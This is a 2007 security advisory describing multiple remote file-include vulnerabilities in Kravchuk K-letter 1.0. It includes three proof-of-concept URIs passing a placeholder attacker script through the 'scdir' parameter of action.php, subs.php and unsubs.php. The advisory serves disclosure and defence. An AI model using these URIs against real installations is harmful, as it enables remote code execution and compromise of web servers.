Kravchuk K-Letter Multiple Remote File Include Vulnerabilities
TITLE: Kravchuk K-Letter Multiple Remote File Include Vulnerabilities
CLASS: Input Validation Error
CVE:
REMOTE: Yes
LOCAL: No
PUBLISHED: Jun 05 2007 12:00AM
UPDATE: Jun 06 2007 05:20PM
CREDIT: sanal is credited with discovering these vulnerabilities.
VULNERABLE:
K-letter K-letter 1.0NOT VULNERABLE:
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Discussion
Kravchuk K-letter is prone to multiple remote file-include vulnerabilities because it fails to properly sanitize user-supplied input to the application.
An attacker may leverage these issues to execute an arbitrary remote file containing malicious script code in the context of the webserver process. This may allow the attacker to compromise the application and the underlying system. Other attacks are also possible.
These issues affect K-letter 1.0; other versions may also be affected.
Exploit
Attackers can use a browser to exploit these issues.
The following proof-of-concept URIs are available:
http://example.com/path/action.php?scdir=[3vil script]
http://example.com/path/subs.php?scdir=[3vil script]
http://example.com/path/unsubs.php?scdir=[3vil script]
Solution
Solution:
Currently we are not aware of any vendor-supplied patches for these issues. If you feel we are in error or if you are aware of more recent information, please mail us at: mailto:vuldb@securityfocus.com.
References
References:
- K-letter Web Site (K-letter)